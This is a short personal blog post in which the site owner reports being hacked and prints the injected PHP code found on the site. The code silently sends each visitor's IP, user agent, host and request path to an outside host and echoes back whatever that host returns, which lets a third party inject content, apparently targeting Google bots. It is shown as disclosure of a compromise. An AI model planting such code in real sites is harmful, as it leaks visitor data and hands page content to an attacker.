« SSD CrazinessNew Chart option at Radioactive@Home »

Somehow my site got hacked....

01/23/13

  12:05:00 am, by The Dreamer   , 493 words  
Categories: Software, b2evolution

Somehow my site got hacked....

Here's the injected PHP code....

PHP

<?php
error_reporting(E_ALL);
ini_set('display_errors'"0");
 
     $sUserAgent strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
     $stCurlHandle NULL;
     if(!(strpos($sUserAgent'google') === false)) // Bot comes
     {
         if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true// Create  bot analitics            
         $stCurlHandle curl_init('http://botsvsbrowsers.biz/Statistic/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI'])); 
     } else
     {
         if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true// Create  bot analitics            
         $stCurlHandle curl_init('http://botsvsbrowsers.biz/Statistic/Stat.php?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&addcheck='); 
     }
     curl_setopt($stCurlHandleCURLOPT_RETURNTRANSFER1);
     $sResult curl_exec($stCurlHandle); 
     curl_close($stCurlHandle); 
     echo $sResult;
?>

Pages: · 2

No feedback yet

Now instead of subjecting some poor random forum to a long rambling thought, I will try to consolidate those things into this blog where they can be more easily ignored profess to be collected thoughts from my mind.

Latest Poopli Updaters -- http://lkc.me/poop

bloglovin

There are 18 years 10 months 25 days 17 hours 34 minutes and 36 seconds until the end of time.
And, it has been 6 years 1 month 30 days 20 hours 28 minutes and 20 seconds since The Doctor saved us all from the end of the World!

Search

February 2019
Mon Tue Wed Thu Fri Sat Sun
 << <   > >>
        1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28      
Google

Linkblog

  XML Feeds

Who's Online?

  • Guest Users: 0
This seal is issued to lawrencechen.net by StopTheHacker Inc.
b2evolution CCMS

hosted by
Green Web Hosting! This site hosted by DreamHost.

monitored by
Monitored by eXternalTest
SiteUptime Web Site Monitoring Service
website uptime